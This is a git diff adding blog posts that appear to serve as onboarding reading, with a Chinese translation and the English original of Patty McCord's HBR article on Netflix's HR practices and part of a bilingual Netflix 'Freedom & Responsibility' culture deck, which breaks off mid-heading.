+*一个人的开放，是他身上散发出来的不断迭代成长的可能性。* 一个人内心的开放程度，决定了一个能走多远。我们希望找到相对开放的人，并在和我们一起工作的过程中，越来越开放。 + +> 什么叫有追求？ + +一个人有梦想当然是最好，但是如果梦想还说不清楚，但在满足了一定的需求后，我对自己还有新的要求，我期待我有些东西和别人不一样，我希望能创造点东西是有意义的。在这个过程中看到更大的格局，也许需要付出更多，但是我愿意尝试。 + +这样的人我们叫做 *有追求* 。 + +我们也一直在寻找这样的人，他 *更乐观，皮实，有韧劲，* 追求是一种拉力，让他走的更远。 + +蚂蚁今天在做的事情的价值和使命，我们是非常坚定的。 + +但是我们也知道，它也是高度复杂和不确定的，需要群体智慧一起创造。 + +从这个意义而言，我们非常期待能找到 *这样一群真实，开放，有追求的人，* 加入我们，一起开拓新的未来。 diff --git a/_posts/2018-07-13-280-hr-netflix.md b/_posts/2018-07-13-280-hr-netflix.md new file mode 100644 index 0000000..7c10ae7 --- /dev/null +++ b/_posts/2018-07-13-280-hr-netflix.md @@ -0,0 +1,189 @@ +--- +layout: post +title: Netflix颠覆HR：我们只雇「成年人」 +pid: 280 +tags: [岗前培训] +--- + +> Netflix 的前首席人才官 Patty McCord 制作的《自由&责任的文化》风靡硅谷，在这背后到底蕴藏着什么样的人才观？ + +
+编者注：本文摘自《哈佛商业评论/中文版》2014 年第 1 期，作者为 Netflix 的前首席人才官 Patty McCord，译者李钊。 +
+ +担任 Netflix 的首席人才官时，我与 CEO 里德·黑斯廷斯一起做了一份 127 页的 PPT，命名为《自由&责任的文化》，解释我们要如何鼓舞士气、提升业绩。 + +我们没想到这份简单的 PPT 会在网上疯传，点击量超过 600 万次。Facebook 的 COO 桑德伯格甚至称其为硅谷最重要的文件之一。 + +这要归因于 Netflix 在商业上的成功：2013 年，这家在线影片租赁提供商的股价涨幅超过两倍，付费订阅用户超过 300 万。其原创剧《纸牌屋》、《发展受阻》和《铁杉树丛》获得 14 项艾美奖提名，《纸牌屋》更是一举拿下最佳导演、最佳选角两项大奖。 + + +# Netflix 究竟是如何吸引和管理人才的？ + +> 只招最优秀的，把不够优秀的请走 + +回溯到 2001 年，互联网泡沫破灭打乱了公司的 IPO 计划，我们还裁掉了 1/3 的员工。但圣诞节时转机来了，DVD 播放机成为热门礼品，公司的 DVD 邮寄订阅业务也意外暴涨。 + +有一天我和工程师约翰谈话，说希望尽快替他找到帮手。裁员之前，约翰手下有三名工程师。可他的回答却出人意料：“我宁可自己做，也不要二流手下。”原来，过去约翰要花大量时间去管理员工并收拾他们的烂摊子。 + +这句话日后反复在我耳畔回响： + +> 你能为员工提供的最佳福利，不是请客吃饭和团队活动，而是招募优秀的员工，让他们和最优秀的人一起工作！ + +> 如果你希望团队里都是最优秀的员工，那么你必须要请能力不足的人离开。 + +2002 年形势好转后，Netflix 成功 IPO，当时公司急需专业精算师和经验丰富的财务专员，而会计劳拉已经不胜任这份工作。劳拉曾为公司做出了很大的贡献，有人提议给她特设一个职位，但我直接告诉她，我们愿意提供一笔可观的离职补偿金。 + +当时，我甚至做好了迎接泪水的准备，没想到劳拉很轻松地说：她对离开表示遗憾，但丰厚的离职补偿金可以让她考虑重返校园或参加培训，寻找新的职业发展路径。 + +> 只雇用、奖励和容忍「成年人」 + +从业三十年，我发现很多大公司的 HR 往往花太多时间用于拟定人力资源管理的条例，以应付一小撮与公司利益不一致的员工，结果往往得不偿失。我们根本不会让这种人进入公司，我们筛选出的人是真正的“成年人”。 + +自 Netflix 创始起，我们就制定了带薪假期的规定，并且一直用内部的办公系统记录出勤情况。公司上市后，审计师提出异议，认为应引入正式的办公考勤系统，对员工的休假时间做出清晰的解释。但里德和我都认为，**只要不违反相关法律，何必在意繁文缛节？** + +现在，Netflix 的员工可以自行决定休假计划，HR 只是给出指导性意见。比如，财务部门的员工不要在季初和季末最繁忙时休假；如果要连续休假 30 天，要先与 HR 面谈。 + +在差旅和报销制度上，我们告诉员工，公司想节省开支，希望员工把公司的钱当成自己的钱，这大大降低了公司成本。很多公司都通过代理机构订票，但如果相信员工会遵守「公司利益最优先原则」，让他们自行在网上订票，就可以省下一大笔中介费。 + +和很多经理一样，我也会时不时和员工吃工作餐，如果是为了招聘或销售目的，餐费就可以报销；如果是和同事不涉及工作的用餐，餐费则不能报销。总之，只要遵循「成年人」做法的原则，绝大多数员工都会遵守制度。 + +# 对员工直言他们的表现 + +在很久以前，我们就取消了正式的评估制度。某些职能部门员工的业绩好坏一目了然，而且，偶尔一次的考核也没有连贯性。 + +比如，工程师玛利亚被招进公司是负责查找漏洞的。但由于技术的更新，我们很快发现这项工作可以全自动化。经理要求玛利亚参加评估，以防炒掉她时可能出现的劳务纠纷。但是我说：“大家都知道这出戏会怎么演下去。你先定目标，她根本无法达标，你每周都要跟她进行一次难堪的谈话，最后她还是会被炒掉。这对 Netflix 又有什么好处？” + +我建议他，不妨直接告诉玛利亚：你的能力已经不符合公司需要了。以我的经验，只要告知实情，人们总是能够应对变化。 + +取消了正式的业绩评估后，我们设立了「非正式的」360 度考评制度。我们提出尽可能简洁的问题：你觉得你的同事「应该做什么」、「不要做什么」。简单、诚恳、定期地以探讨的方式进行评估，效果远远好过正式考评制度。 + +而对于管理者，我们的要求是，**要确保员工理解公司发展的核心动力和盈利模式。即使你招到了充满干劲的员工，你仍需要告诉他们公司是怎么赚钱的，让他们理解怎么做能帮助公司成功。** + +# 股票期权不应是“金手铐” + +在伊拉克战争期间，时任美国国防部部长拉姆斯菲尔德说：“你是要带着已有的军队参战，而不是带领一支你所期待的队伍。”不过，我却告诉 Netflix 的经理们要反其道而行之：伟大的团队完成伟大的工作，打造一支伟大的团队就是你的首要职责。 + +Netflix 从 DVD 邮寄租赁业务向流媒体服务转型时，就曾面临这样的挑战。我们急需那些曾在亚马逊和谷歌等大公司有云计算研发经验的人才，但显然，这些人才不容易被挖。 + +此时，我们的薪酬体制起了很大的作用。Netflix 的薪酬原则也遵循这样的理念：坦诚待人、把员工当成年人对待。比如，公司提供的年薪中没有「绩效奖金」，因为我们相信市场主导的薪酬标准，只要招对了人，没有年终奖既不会让他们变懒，也不会让他们变笨。事实上，我们通常会给出高出市场平均水平的薪酬，在年终也会发放超出员工预期的福利。 + +另外，一般公司都会在提供一份有竞争力年薪的同时，搭配固定的股票期权。而我们让员工自己选择股票期权在整体薪酬中的占比。每个月公司都以稍低于股价的价格发放一定的期权，而且允许即时兑现。 + +我们觉得，股票期权不应该是为了降低离职率的「金手铐」，如果你获得了更好的发展机会，就该在离开时带走你应得的全部。 + +# 领导者要“保持言行一致” + +从 Netflix 离职后，我开始从事咨询工作，拜访过一家硅谷的创业公司。这家公司在开放式的 Loft 里放了一张足球桌和两张台球桌。 + +公司 CEO 带着我参观，我问他：“公司最重要的价值是什么？”他回答：“效率。”我接着问：“那设想一下，我打台球正占上风，预计还有 5 分钟就能结束这局。但是两分钟后我要开一个会，我是应该赢下这场球呢，还是去开会？”“你应该打完这一局。”他说。 + +尽管自由的工作氛围是很多硅谷创业公司的特点，但他的回答仍然令我吃惊。“你告诉我效率是公司最重要的价值，但是你却为了一场台球让同事等着你推迟开会。你不觉得这是言行不一吗？” + +在为客户做咨询时，我会建议领导者格外注意「保持言行一致」。我旁听了很多公司的内部会议，发现许多 CEO 明显是在即兴发挥：会议缺乏明确议程，只是逐页复述 PPT 内容，而这个 PPT 可能还是一个小时前完成的。员工们当然也会发现这些问题，当他们发现领导没有充分准备而是全凭即兴表演组织会议时，你觉得他们会如何对待他们的工作？ + +Netflix 改变了人们消费和观看电影的方式，这是个了不起的创新。而对我来说更了不起的是，从我一进公司开始，公司就希望我不要墨守成规，我也的确是这么做的——拒绝所有的条条框框。 + + +> 原文 + +How Netflix Reinvented HR + +Sheryl Sandberg has called it one of the most important documents ever to come out of Silicon Valley. It’s been viewed more than 5 million times on the web. But when Reed Hastings and I (along with some colleagues) wrote a PowerPoint deck explaining how we shaped the culture and motivated performance at Netflix, where Hastings is CEO and I was chief talent officer from 1998 to 2012, we had no idea it would go viral. We realized that some of the talent management ideas we’d pioneered, such as the concept that workers should be allowed to take whatever vacation time they feel is appropriate, had been seen as a little crazy (at least until other companies started adopting them). But we were surprised that an unadorned set of 127 slides—no music, no animation—would become so influential. + +People find the Netflix approach to talent and culture compelling for a few reasons. The most obvious one is that Netflix has been really successful: During 2013 alone its stock more than tripled, it won three Emmy awards, and its U.S. subscriber base grew to nearly 29 million. All that aside, the approach is compelling because it derives from common sense. In this article I’ll go beyond the bullet points to describe five ideas that have defined the way Netflix attracts, retains, and manages talent. But first I’ll share two conversations I had with early employees, both of which helped shape our overall philosophy. + +The first took place in late 2001. Netflix had been growing quickly: We’d reached about 120 employees and had been planning an IPO. But after the dot-com bubble burst and the 9/11 attacks occurred, things changed. It became clear that we needed to put the IPO on hold and lay off a third of our employees. It was brutal. Then, a bit unexpectedly, DVD players became the hot gift that Christmas. By early 2002 our DVD-by-mail subscription business was growing like crazy. Suddenly we had far more work to do, with 30% fewer employees. + +One day I was talking with one of our best engineers, an employee I’ll call John. Before the layoffs, he’d managed three engineers, but now he was a one-man department working very long hours. I told John I hoped to hire some help for him soon. His response surprised me. “There’s no rush—I’m happier now,” he said. It turned out that the engineers we’d laid off weren’t spectacular—they were merely adequate. John realized that he’d spent too much time riding herd on them and fixing their mistakes. “I’ve learned that I’d rather work by myself than with subpar performers,” he said. His words echo in my mind whenever I describe the most basic element of Netflix’s talent philosophy: The best thing you can do for employees—a perk better than foosball or free sushi—is hire only “A” players to work alongside them. Excellent colleagues trump everything else. + +The second conversation took place in 2002, a few months after our IPO. Laura, our bookkeeper, was bright, hardworking, and creative. She’d been very important to our early growth, having devised a system for accurately tracking movie rentals so that we could pay the correct royalties. But now, as a public company, we needed CPAs and other fully credentialed, deeply experienced accounting professionals—and Laura had only an associate’s degree from a community college. Despite her work ethic, her track record, and the fact that we all really liked her, her skills were no longer adequate. Some of us talked about jury-rigging a new role for her, but we decided that wouldn’t be right. + +So I sat down with Laura and explained the situation—and said that in light of her spectacular service, we would give her a spectacular severance package. I’d braced myself for tears or histrionics, but Laura reacted well: She was sad to be leaving but recognized that the generous severance would let her regroup, retrain, and find a new career path. This incident helped us create the other vital element of our talent management philosophy: If we wanted only “A” players on our team, we had to be willing to let go of people whose skills no longer fit, no matter how valuable their contributions had once been. Out of fairness to such people—and, frankly, to help us overcome our discomfort with discharging them—we learned to offer rich severance packages. + +With these two overarching principles in mind, we shaped our approach to talent using the five tenets below. + +# Hire, Reward, and Tolerate Only Fully Formed Adults + +Over the years we learned that if we asked people to rely on logic and common sense instead of on formal policies, most of the time we would get better results, and at lower cost. If you’re careful to hire people who will put the company’s interests first, who understand and support the desire for a high-performance workplace, 97% of your employees will do the right thing. Most companies spend endless time and money writing and enforcing HR policies to deal with problems the other 3% might cause. Instead, we tried really hard to not hire those people, and we let them go if it turned out we’d made a hiring mistake. +Adultlike behavior means talking openly about issues with your boss, your colleagues, and your subordinates. It means recognizing that even in companies with reams of HR policies, those policies are frequently skirted as managers and their reports work out what makes sense on a case-by-case basis. + + +Let me offer two examples. + +When Netflix launched, we had a standard paid-time-off policy: People got 10 vacation days, 10 holidays, and a few sick days. We used an honor system—employees kept track of the days they took off and let their managers know when they’d be out. After we went public, our auditors freaked. They said Sarbanes-Oxley mandated that we account for time off. We considered instituting a formal tracking system. But then Reed asked, “Are companies required to give time off? If not, can’t we just handle it informally and skip the accounting rigmarole?” I did some research and found that, indeed, no California law governed vacation time. + +So instead of shifting to a formal system, we went in the opposite direction: Salaried employees were told to take whatever time they felt was appropriate. Bosses and employees were asked to work it out with one another. (Hourly workers in call centers and warehouses were given a more structured policy.) We did provide some guidance. If you worked in accounting or finance, you shouldn’t plan to be out during the beginning or the end of a quarter, because those were busy times. If you wanted 30 days off in a row, you needed to meet with HR. Senior leaders were urged to take vacations and to let people know about them—they were role models for the policy. (Most were happy to comply.) Some people worried about whether the system would be inconsistent—whether some bosses would allow tons of time off while others would be stingy. In general, I worried more about fairness than consistency, because the reality is that in any organization, the highest-performing and most valuable employees get more leeway. + +> The company’s expense policy is five words long: “Act in Netflix’s best interests.” + +We also departed from a formal travel and expense policy and decided to simply require adultlike behavior there, too. The company’s expense policy is five words long: “Act in Netflix’s best interests.” In talking that through with employees, we said we expected them to spend company money frugally, as if it were their own. Eliminating a formal policy and forgoing expense account police shifted responsibility to frontline managers, where it belongs. It also reduced costs: Many large companies still use travel agents (and pay their fees) to book trips, as a way to enforce travel policies. They could save money by letting employees book their own trips online. Like most Netflix managers, I had to have conversations periodically with employees who ate at lavish restaurants (meals that would have been fine for sales or recruiting, but not for eating alone or with a Netflix colleague). We kept an eye on our IT guys, who were prone to buying a lot of gadgets. But overall we found that expense accounts are another area where if you create a clear expectation of responsible behavior, most employees will comply. + +# Tell the Truth About Performance + +Many years ago we eliminated formal reviews. We had held them for a while but came to realize they didn’t make sense—they were too ritualistic and too infrequent. So we asked managers and employees to have conversations about performance as an organic part of their work. In many functions—sales, engineering, product development—it’s fairly obvious how well people are doing. (As companies develop better analytics to measure performance, this becomes even truer.) Building a bureaucracy and elaborate rituals around measuring performance usually doesn’t improve it. + +Traditional corporate performance reviews are driven largely by fear of litigation. The theory is that if you want to get rid of someone, you need a paper trail documenting a history of poor achievement. At many companies, low performers are placed on “Performance Improvement Plans.” I detest PIPs. I think they’re fundamentally dishonest: They never accomplish what their name implies. + +One Netflix manager requested a PIP for a quality assurance engineer named Maria, who had been hired to help develop our streaming service. The technology was new, and it was evolving very quickly. Maria’s job was to find bugs. She was fast, intuitive, and hardworking. But in time we figured out how to automate the QA tests. Maria didn’t like automation and wasn’t particularly good at it. Her new boss (brought in to create a world-class automation tools team) told me he wanted to start a PIP with her. + +I replied, “Why bother? We know how this will play out. You’ll write up objectives and deliverables for her to achieve, which she can’t, because she lacks the skills. Every Wednesday you’ll take time away from your real work to discuss (and document) her shortcomings. You won’t sleep on Tuesday nights, because you’ll know it will be an awful meeting, and the same will be true for her. After a few weeks there will be tears. This will go on for three months. The entire team will know. And at the end you’ll fire her. None of this will make any sense to her, because for five years she’s been consistently rewarded for being great at her job—a job that basically doesn’t exist anymore. Tell me again how Netflix benefits? + +“Instead, let’s just tell the truth: Technology has changed, the company has changed, and Maria’s skills no longer apply. This won’t be a surprise to her: She’s been in the trenches, watching the work around her shift. Give her a great severance package—which, when she signs the documents, will dramatically reduce (if not eliminate) the chance of a lawsuit.” In my experience, people can handle anything as long as they’re told the truth—and this proved to be the case with Maria. + +When we stopped doing formal performance reviews, we instituted informal 360-degree reviews. We kept them fairly simple: People were asked to identify things that colleagues should stop, start, or continue. In the beginning we used an anonymous software system, but over time we shifted to signed feedback, and many teams held their 360s face-to-face. + +HR people can’t believe that a company the size of Netflix doesn’t hold annual reviews. “Are you making this up just to upset us?” they ask. I’m not. If you talk simply and honestly about performance on a regular basis, you can get good results—probably better ones than a company that grades everyone on a five-point scale. + + +# Managers Own the Job of Creating Great Teams + +Discussing the military’s performance during the Iraq War, Donald Rumsfeld, the former defense secretary, once famously said, “You go to war with the army you have, not the army you might want or wish to have at a later time.” When I talk to managers about creating great teams, I tell them to approach the process in exactly the opposite way. + +In my consulting work, I ask managers to imagine a documentary about what their team is accomplishing six months from now. What specific results do they see? How is the work different from what the team is doing today? Next I ask them to think about the skills needed to make the images in the movie become reality. Nowhere in the early stages of the process do I advise them to think about the team they actually have. Only after they’ve done the work of envisioning the ideal outcome and the skill set necessary to achieve it should they analyze how well their existing team matches what they need. + +If you’re in a fast-changing business environment, you’re probably looking at a lot of mismatches. In that case, you need to have honest conversations about letting some team members find a place where their skills are a better fit. You also need to recruit people with the right skills. + +We faced the latter challenge at Netflix in a fairly dramatic way as we began to shift from DVDs by mail to a streaming service. We had to store massive volumes of files in the cloud and figure out how huge numbers of people could reliably access them. (By some estimates, up to a third of peak residential internet traffic in the U.S. comes from customers streaming Netflix movies.) So we needed to find people deeply experienced with cloud services who worked for companies that operate on a giant scale—companies like Amazon, eBay, Google, and Facebook, which aren’t the easiest places to hire someone away from. + +Our compensation philosophy helped a lot. Most of its principles stem from ideals described earlier: Be honest, and treat people like adults. For instance, during my tenure Netflix didn’t pay performance bonuses, because we believed that they’re unnecessary if you hire the right people. If your employees are fully formed adults who put the company first, an annual bonus won’t make them work harder or smarter. We also believed in market-based pay and would tell employees that it was smart to interview with competitors when they had the chance, in order to get a good sense of the market rate for their talent. Many HR people dislike it when employees talk to recruiters, but I always told employees to take the call, ask how much, and send me the number—it’s valuable information. + +In addition, we used equity compensation much differently from the way most companies do. Instead of larding stock options on top of a competitive salary, we let employees choose how much (if any) of their compensation would be in the form of equity. If employees wanted stock options, we reduced their salaries accordingly. We believed that they were sophisticated enough to understand the trade-offs, judge their personal tolerance for risk, and decide what was best for them and their families. We distributed options every month, at a slight discount from the market price. We had no vesting period—the options could be cashed in immediately. Most tech companies have a four-year vesting schedule and try to use options as “golden handcuffs” to aid retention, but we never thought that made sense. If you see a better opportunity elsewhere, you should be allowed to take what you’ve earned and leave. If you no longer want to work with us, we don’t want to hold you hostage. + +We continually told managers that building a great team was their most important task. We didn’t measure them on whether they were excellent coaches or mentors or got their paperwork done on time. Great teams accomplish great work, and recruiting the right team was the top priority. + +# Leaders Own the Job of Creating the Company Culture + +After I left Netflix and began consulting, I visited a hot start-up in San Francisco. It had 60 employees in an open loft-style office with a foosball table, two pool tables, and a kitchen, where a chef cooked lunch for the entire staff. As the CEO showed me around, he talked about creating a fun atmosphere. At one point I asked him what the most important value for his company was. He replied, “Efficiency.” + +“OK,” I said. “Imagine that I work here, and it’s 2:58 PM. I’m playing an intense game of pool, and I’m winning. I estimate that I can finish the game in five minutes. We have a meeting at 3:00. Should I stay and win the game or cut it short for the meeting?” + +“You should finish the game,” he insisted. I wasn’t surprised; like many tech start-ups, this was a casual place, where employees wore hoodies and brought pets to work, and that kind of casualness often extends to punctuality. “Wait a second,” I said. “You told me that efficiency is your most important cultural value. It’s not efficient to delay a meeting and keep coworkers waiting because of a pool game. Isn’t there a mismatch between the values you’re talking up and the behaviors you’re modeling and encouraging?” + +When I advise leaders about molding a corporate culture, I tend to see three issues that need attention. This type of mismatch is one. It’s a particular problem at start-ups, where there’s a premium on casualness that can run counter to the high-performance ethos leaders want to create. I often sit in on company meetings to get a sense of how people operate. I frequently see CEOs who are clearly winging it. They lack a real agenda. They’re working from slides that were obviously put together an hour before or were recycled from the previous round of VC meetings. Workers notice these things, and if they see a leader who’s not fully prepared and who relies on charm, IQ, and improvisation, it affects how they perform, too. It’s a waste of time to articulate ideas about values and culture if you don’t model and reward behavior that aligns with those goals. + +The second issue has to do with making sure employees understand the levers that drive the business. I recently visited a Texas start-up whose employees were mostly engineers in their twenties. “I bet half the people in this room have never read a P&L,” I said to the CFO. He replied, “It’s true—they’re not financially savvy or business savvy, and our biggest challenge is teaching them how the business works.” Even if you’ve hired people who want to perform well, you need to clearly communicate how the company makes money and what behaviors will drive its success. At Netflix, for instance, employees used to focus too heavily on subscriber growth, without much awareness that our expenses often ran ahead of it: We were spending huge amounts buying DVDs, setting up distribution centers, and ordering original programming, all before we’d collected a cent from our new subscribers. Our employees needed to learn that even though revenue was growing, managing expenses really mattered. + +The third issue is something I call the split personality start-up. At tech companies this usually manifests itself as a schism between the engineers and the sales team, but it can take other forms. At Netflix, for instance, I sometimes had to remind people that there were big differences between the salaried professional staff at headquarters and the hourly workers in the call centers. At one point our finance team wanted to shift the whole company to direct-deposit paychecks, and I had to point out that some of our hourly workers didn’t have bank accounts. That’s a small example, but it speaks to a larger point: As leaders build a company culture, they need to be aware of subcultures that might require different management. + +# Good Talent Managers Think Like Businesspeople and Innovators First, and Like HR People Last + +Throughout most of my career I’ve belonged to professional associations of human resources executives. Although I like the people in these groups personally, I often find myself disagreeing with them. Too many devote time to morale improvement initiatives. At some places entire teams focus on getting their firm onto lists of “Best Places to Work” (which, when you dig into the methodologies, are really based just on perks and benefits). At a recent conference I met someone from a company that had appointed a “chief happiness officer”—a concept that makes me slightly sick. + +During 30 years in business I’ve never seen an HR initiative that improved morale. HR departments might throw parties and hand out T-shirts, but if the stock price is falling or the company’s products aren’t perceived as successful, the people at those parties will quietly complain—and they’ll use the T-shirts to wash their cars. + +Instead of cheerleading, people in my profession should think of themselves as businesspeople. What’s good for the company? How do we communicate that to employees? How can we help every worker understand what we mean by high performance? + +Here’s a simple test: If your company has a performance bonus plan, go up to a random employee and ask, “Do you know specifically what you should be doing right now to increase your bonus?” If he or she can’t answer, the HR team isn’t making things as clear as they need to be. + +At Netflix I worked with colleagues who were changing the way people consume filmed entertainment, which is an incredibly innovative pursuit—yet when I started there, the expectation was that I would default to mimicking other companies’ best practices (many of them antiquated), which is how almost everyone seems to approach HR. I rejected those constraints. There’s no reason the HR team can’t be innovative too. + +# Refer + +[Netflix颠覆HR：我们只雇「成年人」](http://www.geekpark.net/news/197952) + +[How Netflix Reinvented HR](https://hbr.org/2014/01/how-netflix-reinvented-hr) + +[Freedom & Responsibility Culture](/uploads/2018/07/Freedom & Responsibility Culture.pdf) + +[Netflix文化：自由与责任中英文双语对照版](/uploads/2018/07/Netflix文化：自由与责任中英文双语对照版.ppt) diff --git a/_posts/2018-07-16-281-hr-netflix.md b/_posts/2018-07-16-281-hr-netflix.md new file mode 100644 index 0000000..87a3fcc --- /dev/null +++ b/_posts/2018-07-16-281-hr-netflix.md @@ -0,0 +1,1254 @@ +--- +layout: post +title: Netflix Culture： Freedom & Responsibility +pid: 281 +tags: [岗前培训] +--- + +Netflix Culture: Freedom & Responsibility + +Netflix文化：自由与责任 + +We Seek Excellence + +我们寻求卓越 + +Our culture focuses on helping us achieve excellence + +我们的文化聚焦于帮助自己达成卓越 + +# Table of Contents + +Seven Aspects of our Culture(文化的7个方面) + +- Values are what we Value +- High Performance +- Freedom & Responsibility +- Context, not Control +- Highly Aligned, Loosely Coupled +- Pay Top of Market +- Promotions & Development + + +- 价值观来自于我们推崇和珍视的价值 +- 追求高绩效 +- 自由和责任 +- 情景管理而非控制 +- 认同一致，松散耦合 +- 支付市场最高工资 +- 晋升和成长 + +# Chapter 1: Values are what we Value（价值观来自于我们推崇和珍视的价值） + +The actual company values, as opposed to the nice-sounding values, are shown by who gets rewarded, promoted, or let go + +公司真正的价值观和动听的价值观完全相反，是具体通过哪些人 **被奖励** 、 **被提升** 和 **被解雇** 来体现。 + +Actual company values are the **behaviors** and **skills** that are valued in fellow employees + +真正的价值观是被员工所重视的行为和技能。 + +At Netflix, we particularly value the following nine behaviors and skills in our colleagues… + +在Netflix，我们特别珍视以下9项同事们拥有的行为和技能… + +…meaning we hire and promote people who demonstrate these nine + +也意味着我们雇佣和升迁能够体现这9项特质的员工 + +## Judgment(判断力) + +You make wise decisions (people, technical, business, and creative) despite ambiguity + +你在对人，对技术、对商务和对创新上能够做出明智的决定，摒弃模棱两可 + +You identify root causes, and get beyond treating symptoms + +你明辨事物根由，不为表象所惑 + +You think strategically, and can articulate what you are, and are not, trying to do + +你能战略性思考，有自知之明，并努力做到 + +You smartly separate what must be done well now, and what can be improved later + +你能很聪明地分清楚哪些事现在必须完成，哪些事可以稍后跟进 + +## Communication(沟通力) + +You listen well, instead of reacting fast, so you can better understand + +你善于 **聆听** ，而非快速反驳。如此你能够更好地理解 + +You are concise and articulate in speech and writing + +你在说和写的时候 **简洁清晰** + +You treat people with respect independent of their status or disagreement with you + +你待人接物心存敬意，不在意对方的身份，也不在意对方持有异议 + +You maintain calm poise in stressful situations + +在重压之下，你也能镇定自若 + +## Impact(影响力) + +You accomplish amazing amounts of important work + +你能完成众多重要工作 + +You demonstrate consistently strong performance so colleagues can rely upon you + +你的同事能仰仗你持续输出的强大工作能力 + + +You focus on great results rather than on process + +你注重结果而非过程 + +You exhibit bias-to-action, and avoid analysis-paralysis + +你偏好先发制人而非谋定后动 + +## Curiosity(好奇心) + +You learn rapidly and eagerly + +快速学习且渴望学习 + +You seek to understand our strategy, market, customers, and suppliers + +努力理解公司的战略、市场、用户和供应商 + +You are broadly knowledgeable about business, technology and entertainment + +拥有对商业、技术和娱乐的广泛认知 + +You contribute effectively outside of your specialty + +在你专长之外也能有效提供贡献 + +## Innovation(创新) + +You re-conceptualize issues to discover practical solutions to hard problems + +你能重构概念以找出难题的特别解决之道 + +You challenge prevailing assumptions when warranted, and suggest better approaches + +你能挑战成见，给出更好的方法 + +You create new ideas that prove useful + +你能想出的新点子且被证实有效 + +You keep us nimble by minimizing complexity and finding time to simplify + +你能通过降低复杂度，找到简化时间的方法以保持公司的敏捷 + +## Courage(勇气) + +You say what you think even if it is controversial + +你想说什么就说什么，哪怕有所争议 + +You make tough decisions without agonizing + +你能毫无痛苦地作出艰难决定 + +You take smart risks + +你能明智地冒险 + +You question actions inconsistent with our values + +你能质疑和我们价值观不一的行为 + +## Passion(热情) + +You inspire others with your thirst for excellence + +以你对卓越的渴望激励他人 + +You care intensely about Netflix‘s success + +你对公司的成功深系于心 + + +You celebrate wins + +你热爱胜利 + +You are tenacious + +你坚忍不拔 + + +## Honesty(诚实) + +You are known for candor and directness + +众人认为你坦白直率 + +You are non-political when you disagree with others + +你不同意他人意见时并非出于公司政治的考量 + +You only say things about fellow employees you will say to their face + +你不背后议论他人 + +You are quick to admit mistakes + +你能很快承认错误 + + +## Selflessness(无私) + +You seek what is best for Netflix, rather than best for yourself or your group + +你寻求的是什么对Netflix最好，而不是什么对你自己和你的小团队最好 + +You are ego-less when searching for the best ideas + +当大家一起找寻最佳方案时，你没有那么多自我要维护 + +You make time to help colleagues + +你愿意花时间帮助同事 + +You share information openly and proactively + +你能主动开放地分享资讯 + + +# Chapter 2: High Performance(追求高绩效) + +Imagine if every person at Netflix is someone you respect and learn from… + +设想一下，如果公司里的任何一个员工，你都发自内心地尊重，而且能够从他们身上学到东西… + +Great Workplace is Stunning Colleagues + +最好的工作环境是拥有 **一群超级棒的同事** + +Great workplace is not espresso, lush benefits, sushi lunches, grand parties, or nice offices + +最好的工作环境不在于上等咖啡、丰厚福利、日本料理、盛大派对和漂亮办公室 + +We do some of these things, but only if they are efficient at attracting and retaining **stunning colleagues** + +我们也会做上述的事情，但那只是因为这样才能吸引和留住那些 **超级棒的同事**。 + +Like every company, we try to hire well + +和许多公司一样，我们努力将招聘做好 + +Unlike many companies, we practice: adequate performance gets a generous severance package + +和许多公司不一样，我们实行：仅仅做到称职的员工，也要拿钱走人 + +We’re a team, not a family + +我们是个团队，不是个家庭 + +We’re like a pro sports team, not a kid’s recreational team + +我们就像个专业运动队，而不是小孩子过家家 + +Netflix leadershire, develop and cut smartly, so we have stars in every position + +因为Netflix的领导能够明智地聘用、培养和裁员，所以我们在每个岗位上都是明星员工 + +## The Keeper Test Managers Use (管理者的员工去留测试): + +Which of my people, if they told me they were leaving,for a similar job at a peer company, would I fight hard to keep at Netflix? + +我手下的员工里，如果有人要辞职去同业公司做类似工作，有哪些人是我会拼命挽留的？ + +The other people should get a generous severance now, so we can open a slot to try to find a star for that role + +如果不是，那么这样的员工我们只能让他们拿钱走人，这样我们才能空出位子，为团队找到明星员工。 + +## Honesty Always永远保持诚实 + +As a leader, no one in your group should be materially surprised of your views + +作为领导者，你团队中的任何一名成员都不应该对你的评估感到特别惊奇 + +Candor is not just a leader’s responsibility, and you should periodically ask your manager: “If I told you I were leaving, how hard would you work to change my mind?” + +坦诚不单是领导者的责任，作为员工，你也应该定期地询问你领导：如果我告诉你我要辞职，那你会多大程度上努力挽留我？ + +## All of Us are Responsible for Ensuring We Live our Values我们所有人都有责任确保价值观的延续 + +“You question actions inconsistent with our values” is part of the Courage value + +质疑和我们价值观不一致的行为”是勇气那一章的一部分。 + +Akin to the honor code pledge: “I will not lie, nor cheat, nor steal, nor tolerate those who do” + +和我们的荣誉准则一致：“我不撒谎，不欺诈，不偷窃，也绝不容忍这么做的人。 + +## Pro Sports Team Metaphor is Good, but Imperfect专业运动队的比喻很好，但有瑕疵。 + +Athletic teams have a fixed number of positions, so team members are always competing with each other for one of the precious slots + +运动队有固定的位置数量，所以成员们会为了宝贵的位置而相互竞争。 + +## Corporate Team合作团队 + +The more talent we have, the more we can accomplish, so our people assist each other all the time + +我们的团队能力越大，我们所取得的成就也就越大，所以我们的人始终彼此帮助。 + +Internal “cutthroat” or “sink or swim” behavior is rare and not tolerated + +内部人员之间的倾轧行为非常少见，而且不被容忍。 + +## We Help Each Other To Be Great我们彼此帮助，共同成就。 + +## Isn’t Loyalty Good? 忠诚有益？ + +Loyalty is Good忠诚有益 + +- Loyalty is good as a stabilizer +- People who have been stars for us, and hit a bad patch, get a near term pass because we think they are likely to become stars for us again +- We want the same: if Netflix hits a temporary bad patch, we want people to stick with us +- But unlimited loyalty to a shrinking firm, or to an ineffective employee, is not what we are about + +- 忠诚就像稳定器一样有益。 +- 那些想成为明星员工的人表现低迷，会得到原谅，因为我们认为他们很有可能会再次成为我们的明星员工。 +- 我们也想得到同样的回馈：如果Netflix遭遇短期低迷，我们希望员工会和我们紧密团结在一起。 +- 但是，对于一个走下坡路的公司，或者对一个无效率的员工，无限度的忠诚并非我们所希望的。 + + +## What about Hard Workers?如何对待勤奋员工？ + +Hard Work – Not Relevant勤奋工作---并非切题 + +- We don’t measure people by how many hours they work or how much they are in the office +- We do care about accomplishing great work +- Sustained B-level performance, despite “A for effort”, generates a generous severance package, with respect +- Sustained A-level performance, despite minimal effort, is rewarded with more responsibility and great pay + + +- 我们不会用花了多少小时工作，或者有多少人呆在办公室里作为衡量员工和团队的标准。 +- 我们只在意是否完成了伟大的工作成就。 +- 持续做出B级的工作输出，不想着做到A级的效能，只能请他拿钱走人，客客气气的。 +- 保持A级的工作输出，追求最大效用，将会被委以重任，酬以重金。 + + + +## What about Brilliant 